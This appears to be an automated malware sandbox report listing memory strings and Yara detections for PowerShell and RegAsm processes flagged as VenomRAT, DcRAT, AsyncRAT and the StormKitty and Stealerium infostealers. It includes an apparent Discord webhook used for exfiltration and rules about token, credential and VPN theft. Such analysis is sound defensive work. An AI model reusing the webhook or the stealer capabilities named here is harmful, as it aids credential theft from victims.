Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1016614786533969920/fMJOOjA1pZqjV8_s0JC86KN9Fa0FeGPEHaEak8WTADC18s5
Source: RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v6/users/
Source: powershell.exe, 0000000D.00000002.2328638623.00000000057B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2328638623.000000000562D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2277511320.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2279154192.0000000005A9E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2279154192.000000000527F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004C4F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/StormKitty
Source: powershell.exe, 00000011.00000002.2302627366.0000000004896000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000D.00000002.2328638623.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2277511320.00000000058E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2279154192.000000000527F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004FC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 0000000D.00000002.2389566237.000000000631A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000644A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.0000000005FFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000057AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354cIt
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://urn.to/r/sds_see
Source: powershell.exe, 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2302627366.0000000004C4F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://urn.to/r/sds_seeaCould

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Keylogger Generic

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR
Source: Yara match	File source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR

Yara detected VenomRAT

Source: Yara match	File source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: dump.pcap, type: PCAP	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 13.2.powershell.exe.562d856.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 15.2.powershell.exe.5a9e762.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 13.2.powershell.exe.562d856.1.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 14.2.powershell.exe.575d5e6.3.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 14.2.powershell.exe.66b2f2a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 17.2.powershell.exe.5cb11e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 17.2.powershell.exe.5a14cea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 27.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 13.2.powershell.exe.6942dea.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 13.2.powershell.exe.6582b6a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 17.2.powershell.exe.5cb11e0.6.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 17.2.powershell.exe.4ac20ba.0.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
